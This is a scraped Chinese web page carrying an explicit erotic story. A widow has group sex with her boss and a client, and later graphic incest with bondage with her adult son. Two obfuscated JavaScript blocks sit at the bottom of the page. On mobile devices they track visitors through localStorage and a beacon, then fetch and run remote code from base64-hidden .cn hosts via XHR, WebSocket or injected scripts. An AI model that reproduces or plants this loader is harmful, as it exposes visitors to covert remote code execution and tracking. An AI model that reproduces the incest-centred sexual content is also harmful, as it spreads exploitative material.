图片载入中

艳妇的自白

特大字】 【大字】 【中字】 【小字

(一)

文颖,这是赵经理那边要的样品彩色图本,你马上叫文秘室打印出效果图来。唐涛一边签着我递给他的文件,一边把桌子上的一份文稿交给我。

是,我马上就去。我答应走出总经理室。

这是一家业绩不错的内衣公司,专营女式内衣裤和各种丝袜,原本是由我丈夫和现在的总经理唐涛共同创建的,双方各持有50%的股份,但由于我丈夫的去世,我为了生计,只好卖掉了一部分股份,并委身来公司打工,唐涛实在过意不去,叫我担任了他的经理助理这么一个轻松而高薪的职务。

哎呀,这批内裤和丝袜怎么这么省料啊?彩色惠普打印机悄无声息地吐出了文稿效果图,一旁的文秘惊讶地说道。

我低头看了一下,可不是么,上面的几款内裤都小到了极点,有几条简直就是几根细带,穿上的话根本就遮不住什么,而那几款丝袜也是性感暴露型的。

做你的工作,那么多废话干什么?我取过效果图,说了文秘两句,便回去交给了唐涛。

文颖,下班后一起吃饭怎么样?我在富丽宫定的餐!刚要出去,忽然唐涛把我叫住了。

这……我心里不由吃了一惊,富丽宫是一家豪华的夜总会,是上层社会里闲男旷女们偷情约会的地方,唐涛以前虽然表示出过对我的好感,但从未这么大胆露骨地邀请过我,这不是……

怎么,这么点面子都不给么?

唐涛似笑非笑地看着我,我不由得心里一阵小鹿乱撞,犹豫了一下,我终于还是答应了。

立铭,妈妈今天晚上有个客户要见,不能在家吃饭了,你自己去叫个外卖吧。怕儿子担心,我在下班前给儿子打了个电话。

话筒那边传来儿子熟悉的声音:好的,妈,你要早点回来啊!富丽宫座落在江边路的繁华地段,我和唐涛走进大厅的时候,已是华灯初上了。唐涛定的是一间贵宾套房,厚厚的羊绒地毯,幽雅的灯光,餐桌上已摆满了山珍海味,而令我吃惊的是今天来公司定货的客户赵经理已等在里面了。

看我不解的神态,唐涛连忙解释道:哦,是这样,文颖,今天其实是赵经理请客,他准备了今天的样品,还特地要我把你带来帮他选一些款式。是是是,事先没通知文助理,失礼失礼。赵经理招唿我们坐下,既然如此,我也不好多说什么,便入席落座。

席上赵经理一个劲夸我漂亮能干,不停地向我敬酒,我连连推辞,但唐涛却说:文颖,给赵经理个面子,就少喝一点吧。既然总经理开了口,我也不好再多说什么,只好勉强干了两杯,结果脸立刻就红了。

正当我感到晕唿唿,强打精神与对面的赵经理寒暄时,忽然感到一只手摸到了我裸露在藏蓝色裙子外的大腿上,我吃了一惊,发现原来是坐在旁边的唐涛从桌子下伸过手来,抚摩着我穿着肉色长筒丝袜的丰满的大腿。

我心里噗嗵噗嗵地跳着,但又不敢声张,只好任其所为,唐涛见我没有拒绝,更加放肆起来,手顺着我的大腿向上摸,竟摸到了我阴部,隔着三角内裤轻轻摩擦着花瓣,直弄得我面红耳赤,但又担心被赵经理发现,只好用手撑在桌子上抚摩着发烫的脸颊,期望唐涛快点结束这无礼的举动。

然而唐涛摸了一会儿非但没有停止,反而变本加厉地用手指拨开我的三角内裤,把手指直接伸到我的阴唇上调弄着,不一会儿,我的下体就被挑拨得酥痒难当,花瓣渐渐的湿了。

文小姐,你不舒服么?赵经理似乎看我有些魂不守舍,关心地问。

没,没什么……

唐涛的魔掌熟练地玩弄着我那干渴已久的花瓣,两根手指直插入湿润的花瓣里,不停地进进出出,带出大量的淫水,把我的小内裤都打湿了。

对,对不起,我要去洗手间。折磨总算结束了,我慌慌张张地站起来,逃也似地进了隔壁的洗手间。讨厌……用手绢抹干净下体溢出的淫水,我看着镜子里自己泛红发热的脸颊,分明是一副动情发浪的熟妇的表情。

等我从隔壁回来,酒席已经撤掉了,唐涛和赵经理坐在沙发上,正翻看着赵经理这次挑选的内衣丝袜的样品。

来,文颖,你来帮赵经理选些样子吧,你应该知道女人的喜好。对对对,文小姐,请坐!赵经理挪了一下身子,让了个地方给我。

我看了看,正是下午唐涛要我打印出来的那些款式,说道:这可不行,每个人都有自己的喜好,我也不好说,再说这么看也看不出什么效果来。那你说怎么办?赵经理问道。不如让我来当模特儿,穿上后你们来挑吧。

当这句话说出口后,连我自己都感到惊讶,不知为何自己会有这么个念头,而唐涛和赵经理则连连叫好。

我把那些内衣裤和丝袜抱到隔壁的卧室,然后脱得一丝不挂,开始试穿。

第一套是猩红色三角内裤和吊带式胸罩,白色蕾丝长统丝袜,虽然儿子都十八岁了,但由于保养得好,我的身上一点赘肉都没有,玲珑凹凸的胴体散发着诱人的气息,裹着白色蕾丝丝袜的修长的大腿穿着黑色高跟鞋,显得性感迷人,所以当我从卧室里出来的时候,唐涛和赵经理都惊呆了,两人目不转睛地盯着我近似全裸的肉体,尤其是赵经理,口水都快流出来了。

文,文小姐,请你走两步看看。赵经理咽了口唾沫,说道。

我轻轻迈步,在屋里来回走动着,毕竟是第一次在陌生的男人面前穿这么性感,我感到脸上火辣辣的,随着两个男人的饿狼般的目光,我的体内有一股火焰在跳动,刚才被唐涛挑弄过的下体又开始有了反应,花瓣逐渐湿润了。

啊,果然不错!赵经理走近我身边,用手抚摩着我身上的胸罩和内裤,仔细查看着,嘴里不停地赞叹道。

是啊!文颖的身材真是不错,完全把这套内衣的优点展现出来了。唐涛也过来,用双手抚摩着我的修长的大腿。

听到男人的称赞,我心里更是热乎乎的,说道:后面还有更漂亮的呢,我再去换!

(二)

第二套是黑色的内衣裤,黑色的吊带丝袜,穿在我成熟的肉体上,更显得诱惑无穷,惹得两个男人围着我的身子团团转,粗重的唿吸喷到我裸露的肌肤上,弄得我心里痒痒的,而唐涛和赵经理则借口察看内衣裤和丝袜的质地,到处在我身上乱摸。

讨厌!赵经理,我可是来帮你的,你们怎么这样的无礼?我假装不高兴了,推开他俩,跑回了卧室。

在卧室里,我平息了一下烦乱的心绪,心里惊讶自己今晚的大胆举动,奇怪平日里端庄贞洁的女人怎么会变得如此淫荡放浪,而更可怕的是体内一股莫名的骚动继续促使自己更换着下一套更暴露的内衣裤。

从门缝里看了看两个男人,正沮丧而期待地坐在沙发上,我再次迈步走了出来。

我的天哪!唐涛惊唿了一声,两个男人的眼珠子都快掉出来了。

我这次换上的是一套浅紫色半透明的丝制内衣裤,薄如蝉翼的乳罩紧贴在涨鼓鼓的乳房上,两个紫葡萄般大的奶头高耸着一览无遗,内裤是丁字裤,用一根细带系在腰间,巴掌大的一块薄绢勉强遮住花瓣和肛门,大量的阴毛裸露在外面,同样是浅紫色半透明的镂空裤袜,包着雪白的长腿和浑圆的臀部,浑身上下散发出无与伦比的淫荡的气息。

我的,我的女神!

赵经理噗嗵一下跪在了我的脚下,抱着我挺立的大腿狂吻着,而唐涛也从后面搂住了我的娇躯,双手揉搓着我高挺的双乳,同时轻吻着我洁白的脖颈。

啊……

我没想到他俩会这么同时上来,身体敏感的部位被侵犯着,顿时感到浑身发酥,软绵绵地倒在两人的怀里,任凭他们玩弄。

文颖,你的下面又湿了!唐涛在耳边轻轻说道,他的双手把我的双乳从乳罩里掏了出来,敏感的乳头已经被他揉搓得发硬了。

啊……你……你怎么……知道?我喘息着问。

因为赵经理已经抱着我的屁股,隔着丝裤用嘴亲吻着我的下体,花瓣受不了这样的刺激,流出大量的淫水,把丝裤都湿透了。

我不用摸也知道,你这小浪蹄,平时还跟我装贞洁!唐涛说着拦腰把我抱了起来,而赵经理也起身抱住了我的两条腿。来吧,该去床上了!唐涛说着,两个男人抬着我走进卧室,而此刻的我早就失去了抵抗的能力,犹如一条待宰的大白羊,任凭两人摆布。

许久未接触男人的我今晚竟要同时被两个男人玩弄,想到这里我就兴奋得浑身颤抖,心里嘭嘭直跳,倒在床上,期待着两人的侵犯。

当两人都脱光衣服,露出两根粗大的肉棒的时候,我娇喘着,用手捂住了羞红的脸。

先上来的是唐涛,他那强健的身体压在我的身上,几乎压得我喘不过气来,一阵热吻,使得我不由自主地搂着他宽厚的嵴背,唐涛搂着我一个翻身,把我翻到了他的身体上面来,接着开始亲吻我的坚挺的双乳,吮吸着奶头,不时用牙轻咬着,啊……啊……我的嘴里发出了呻吟声。

刚叫了两声就觉得赵经理在后面抱住了我的浑圆的臀部,扯掉了小内裤,然后把我的镂空裤袜从我的臀部上扒了下来,直褪到膝盖处,这样一来,我那肥厚雪白的屁股全部暴露在了他的眼前,接着他的嘴便开始在我的屁股上亲吻着,舌头四处游走,滑进了股沟里,沾着花瓣里涌出的大量淫水,不时地舔着阴唇和屁眼。

啊……啊……不……不要……啊……前后的戏弄使我失去了理智,在呻吟浪叫中蛇一样扭动着腰肢。

终于,两只大肉棒开始在我的前后磨擦起来,唐涛的龟头顶在我的花瓣上轻轻研磨,把淫水涂得到处都是,而赵经理的龟头则在后面轻点着我的肛门,若即若离,我的身体向后,他也跟着向后,我的身体向前,他也跟着向前,弄得我快疯了。

你们这两个坏蛋,快……啊……快点……

快点干嘛?

唐涛故意挑逗着我,这时两根肉棒和商量好了似的,都顶在我前后的两个洞口上不动了,快……啊……快插……插进来……啊……我终于不知羞耻地喊了出来,于是两根肉棒几乎是同时猛地插进了我的体内。

啊……天那……啊……强烈的快感直冲脑门,我双眼紧闭,开始享受着两根肉棒一前一后的抽插,花瓣的内壁紧紧纠缠着唐涛的肉棒,不停溢出的淫水象花蜜一样滋润着两个人的性器。

后面的赵经理扶着我肥厚的屁股,那又粗又长的肉棒把我的肛门撑大到了极限,虽然以前和丈夫有过肛交的经验,但由于赵经理的肉棒过于粗大,所以带给我的快感和刺激是空前的,我一边浪叫着,一边前后摇晃扭动着被两个男人夹在中间臀部,不一会儿便在香汗淋漓中达到了一次高潮。

接着,两个男人又换了位置,再次分别把两只肉棒塞进了我的前后两个洞,开始了又一轮的疯狂抽插,我完全陶醉在性欲的海洋里,大脑除了接受快感的信息以外,已是一片空白,在我啊……啊……的浪叫呻吟声中,两个男人终于一阵狂喷,把精液射在了我的阴道和肛门里了……

(三)

立铭,最近学习怎么样?把儿子叫到早餐桌前,我问道。

今天要布置结业作业。儿子是美术学校的学生,听到我的问话,停下了手中的筷子,还不知道什么题目,要是交不了,这学期就麻烦了。没关系,妈妈相信你的水平和能力。要是还是人体类的,妈妈还当你的模特!我安慰儿子,因为有过给儿子当写真模特的经历,所以我才这么说。

谢谢妈妈!儿子低头继续吃早餐。

我笑了,起身去上班。

由于我上次很卖力地展示公司产品的缘故,赵经理满意地签定了大批的定单,以至于公司这个月的业绩成直线上升,唐涛非常高兴,下午下班前把我叫到了办公室里。

文颖,这是公司对你的奖励!唐涛把一个厚厚的牛皮纸袋,递到我的手里。

谢谢!我高兴地接了过来,尽管和他有了肉体上的关系,但是在办公室里,我还是有些不好意思,低着头,不敢看他,脸上有些发烧。

怎么?唐涛笑嘻嘻地拉住了我的手,我一阵心跳加速,挣扎了两下没有挣脱,反而被他抱到了怀里。

讨厌,这是办公室!我娇喘着,两腿发软,小声地说。

怕什么?都下班了!唐涛把我按到办公桌上,伸手到了我的裙子里,抚摩着我穿着丝袜的大腿。

不要!嘴里虽然这么喊,然而身体已经不起引诱,腰肢扭动着,工装裙被唐涛掀起到了身体上面,露出了修长的大腿和黑色蕾丝内裤。

抚摩之后,是嘴唇的轻吻,舌头顺着大腿直舔到阴唇。啊!我躺在办公桌上,两腿不由自主地向两旁分开,任由他隔着黑色蕾丝内裤揉弄着我的阴唇,不一会儿,内裤就湿了一大片,也不知道是他的唾液还是我的淫水。

啊……啊……我的大腿架在了唐涛的肩膀上,穿着丝袜和高跟鞋的大腿紧紧夹着他的头,双手支撑在桌子上,沉浸在快感之中。

叮呤呤……正当快感连连的时候,桌子上的电话忽然响了起来。

喂!啊,是阿鹃啊!什么事?唐涛拿起电话。我一听是唐涛的太太打来的电话,不由吃了一惊,可唐涛却好象什么事都没发生似的,把刚刚从桌子上下来的我面向桌子一推,令我不由自主地趴在了桌子上,接着我感到屁股一凉,内裤已经被剥了下来。啊,好,好,好的!唐涛一边应付着电话那头的太太,一边掏出了肉棒。

啊……啊……粗大的肉棒顶在湿润的花瓣上,很顺利地插了进去,我不敢大声,只好用手捂着嘴,一边享受着这奇异的快感,一边发出低低的呻吟。

好,好,我马上就回去!唐涛把电话夹到脖子里,两只手扶住我雪白浑圆的臀部,肉棒快速地在花瓣里抽插着,我的屁股高高地向后挺着,穿着高跟鞋的腿向两边叉开,花瓣一收一缩,努力配合着唐涛的奸淫。肉棒的抽插速度越来越快,力量也越来越大,带出的大量的淫水顺着大腿淌得丝袜都湿透了。

啊……啊啊……快……啊……等唐涛一放下电话,我便发出哭泣般的浪叫,臀部拼命向后,迎接着肉棒的洗礼,唐涛猛然把身体向前一挺,肉棒狠狠插进我的花瓣深处,一阵狂喷怒射,把我送上了高潮。

从公司出来后,我匆匆忙忙地赶回了家。

儿子已经回来了,正呆呆地坐在沙发上,不知在想什么。怎么了?立铭,妈今天发了奖金,给你买了些你爱吃的菜。我换下衣服去厨房作饭。

餐桌上,儿子一直默不做声,我有些诧异,问道:立铭,你没事吧?结业作业布置下来了么?

嗯。儿子低头扒拉着米饭。

是什么题目啊?要不要,妈妈当模特?我往他的碗夹了块排骨,笑着问道,儿子忽然停下了筷子,问道:妈,你这次真能为我的作业当模特?能啊!怎么啦?以前妈不是当过你的好几次模特么?看着儿子认真的样子,我更莫名其妙了。

好啊,这是我们这次作业的题目,要是妈妈认为可以的话,请妈妈照上面的要求,到后面的画室里去,一个小时以后我去找你。儿子忽然起身,把画夹放到桌子上,逃也似地离开了。

我疑惑地打开画夹,看了几眼,顿时满脸通红,只见上面写着一行字:被缚的性感女神。下面还写着些要注释,要求描绘的是被捆绑的裸体成熟女性。

要死了,怎么学校给学生出这样的作业题,更要命的是我竟然还答应了儿子做他这次的模特,我心潮起伏,忐忑不安地起身收拾桌子。

收拾完桌子,我走到客厅,儿子躲在自己的房间里没再露面。我抬起手想敲他的房门,但考虑了一下,还是停了下来,跑到浴室里,开始洗澡。

莲蓬头里放出热水洗掉了一天的疲劳,洁白凹凸的胴体散发出诱人的气息,丰满的双乳骄傲地挺立着,臀部高翘,修长的双腿比例恰倒好处,小腹下芳草萋萋。

望着镜子里朦胧的身影,我心中依然犹豫不决,自己虽然以前给儿子当过临摹的模特,但那都是穿着衣服的,而这次的要求显然是要裸体,而且还要求是被捆绑,这能行么?但是随即心中有个声音对自己说:这么美丽的女神,正合适给画家当模特,否则太浪费了!为了儿子,牺牲一次又何妨?更何况这是为了艺术!

我终于说服了自己,来到了儿子的画室。

(四)

画室里没有什么家具,只是有两张椅子,在靠近窗台的地方杂乱地摆放着一些画板、写生稿纸、颜料以及画笔,而对面则是一张铺着软垫的矮台,那是专为模特准备的。

我轻轻倒在台子上,静等着儿子的到来。

过了一会儿,只听得房门一声响,随着,我心里一阵突突乱跳,儿子走了进来。

只见他进来以后,两眼紧盯着台子上的我,惊讶地张着大嘴,涨红着脸,一句话也说不出来。

原来,我在进来画室后,按照作业的要求,悉心地装扮了一番:全身赤裸,只在大腿上穿着一双白色镂空蕾丝长统袜,只裹得我修长的双腿粉雕玉琢,再披上一条白色透明的纱巾,透过纱巾可以清晰地看到高高挺起的双乳以及上面嫣红的两点乳头,洁白的小腹下面是缕缕黑丝。

更要命的是在我的身上缠捆着几条黑色的绳子,从细长的脖子上搭下来,向后把我的双臂缠绕在后面,余下的顺着股沟盘在穿着白色镂空蕾丝长统袜的大腿上,而且盘了好几圈,黑色的绳子和白色的大腿形成鲜明的对比,给人以视觉上强烈的冲击,而我此刻则象一只待宰的羔羊,无力地瘫软在台子上,等待主人的处置。

在这种情况下被儿子肆无忌惮的目光侵视,我心中不但没有不安的情绪,反而有些兴奋。怎么啦?你不是要赶稿子么?还不快一些!我压制住内心莫名其妙的燥热,若无其事地说。

哦。儿子仿佛从梦中醒来,连忙去到窗户旁拿画笔,手忙脚乱中碰倒了画架。

总算是准备好了绘画的必需工具,儿子开始专心致志地做他的作业,而面对儿子不停打量我的眼神,我却越来越感到心跳加速,下体也渐渐开始发热发湿,被绳子缠绕着的胴体感到了一种被束缚的前所未有的酥麻感,在和这种感觉抗拒了一会儿以后,我嘴里终于发出了一声低低的呻吟。

怎么了?妈妈,你不舒服么?儿子看到我发红的脸颊,放下手中画笔,走过来问,是不是这个姿势久了不舒服?

啊,没、没有。我有些慌乱。

这样吧,我帮你换个姿势,这样可以休息一下,而且你现在这个姿势还没有完全体现出这个作品的本质。儿子伸手过来,扶住了我的腰,一阵酥痒划过我的心头,竟然没有抵抗和拒绝,任儿子抱着我浑圆的屁股向后一拉,使我变成了臀部高撅的跪姿,由于双手依旧被缠绕在后面,所以头向下顶撑着身体。

被摆成这种淫荡的姿势,我不由乱了方寸:立铭,不、不要……但是儿子并没有理睬我,抓住包裹着我浑圆屁股的纱巾,轻轻拉扯了下来。

啊……啊……你……你要干什么?这样一来,我下面的前后两个洞被一览无遗,我不由得叫起来,但连我自己也感到奇怪的是我并没有反抗,尽管束缚着双手的绳子是我自己缠绕上去的,事实上根本没有绑住我的双手。

后面传来儿子急促的唿吸声,一双大手开始轻轻抚摩我浑圆洁白的屁股,我象征性地扭动着腰肢,以表示我在反抗,而晃动着的大屁股恰恰象是在勾引年轻的欲火。

终于,儿子的嘴唇贴了上来,整个臀部被结实有力的臂膀抱住,湿润的舌头在花瓣上和屁眼上游走。啊……啊……不……不要……我已经有些迷乱了,呻吟着,喘息着,当儿子的舌头插入湿润的花瓣中,不停地搅动抽插着时,我大口大口喘着气,陶醉在这奸般的口交中。

儿子上了台子,不知何时他的衣裤已经脱掉了,从后面紧紧抱住了我,口中的热气直扑在我的耳边:妈妈,妈妈……你知道么?我等这一天已经等了好久了!

我试着挣脱了一下,没有用,仿佛是一匹野兽制服住了我,而这种强大力量的束缚更激发出了我内心深处被蹂躏被糟蹋的渴望,于是我开始奋力挣扎,这果然遭受到了更野蛮的暴力,儿子把我压在了身下,扯掉了已经碍事的绳子,从后面握住我涨鼓鼓的双乳,开始大力揉捏起来。

啊……啊……啊……小坏蛋……啊……妈妈……被你……啊……快要……啊……乳头被揉搓得又大又硬,我跪在台子上,双手支撑着身体,嘴里开始发出断断续续的浪叫声。

一根火热的肉棒在股沟里磨擦着,下体流出的淫水弄得满台都是,我象一条发情的母狗,摇晃着雪白的大屁股,企求着儿子的肉棒快些插入。

啊!妈妈!坚硬的肉棒顶在蜜汁横流的花瓣口上,慢慢的插了进去。

啊……啊……小……坏蛋……哦……啊……好……大……妈妈……好……舒服……啊……!我已经彻底放弃了所有作为母亲的尊严和矜持,完完全全沦为了儿子的性交伙伴,呻吟和浪叫充斥着圣洁的画室。

肉棒快速在花瓣里抽插着,发出了噗嗤噗嗤的淫荡声音,我咬着牙,拼命把肥厚的屁股向后摇动着,追求着乱伦中的快感。

妈妈,你……知道么?就在我快要达到顶峰的时候,肉棒忽然放慢了抽插的速度,并且缓缓退出了花瓣,儿子魔鬼般地在耳旁笑着,我要告诉你一个秘密!

什么啊?快……妈妈要……我毫不理会他在说什么,只是,拼命耸着屁股,去寻求肉棒的去处。但儿子一把按住了我的肥臀,把沾满淫水的肉棒对准了后面的屁眼。啊……这……想到屁眼也将要被儿子奸淫,我兴奋得直哆嗦,但儿子只是将龟头在屁眼上研磨,并不急着插入。

啊……快……快啊……

快什么啊?我要妈妈说出来!

讨厌……快操……操……妈妈……妈妈的屁……屁眼……被迫说出如此淫荡下流的话来,我已是羞得满脸通红,同时也感到了前所未有的刺激和兴奋。

于此同时,粗大的肉棒终于顶开屁眼的嫩肉,缓缓插入了我的肛门。

啊……啊……好……好爽……天……啊……我把滚烫的脸埋在手臂里,雪白的屁股高高的向天举着,肛门一收一缩,穿着白色丝袜的大腿被儿子捞起一条,盘在他的腰间,简直是淫荡到了极点。


上一篇:少女的巧合事件日记

下一篇:我帮你阿姨


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};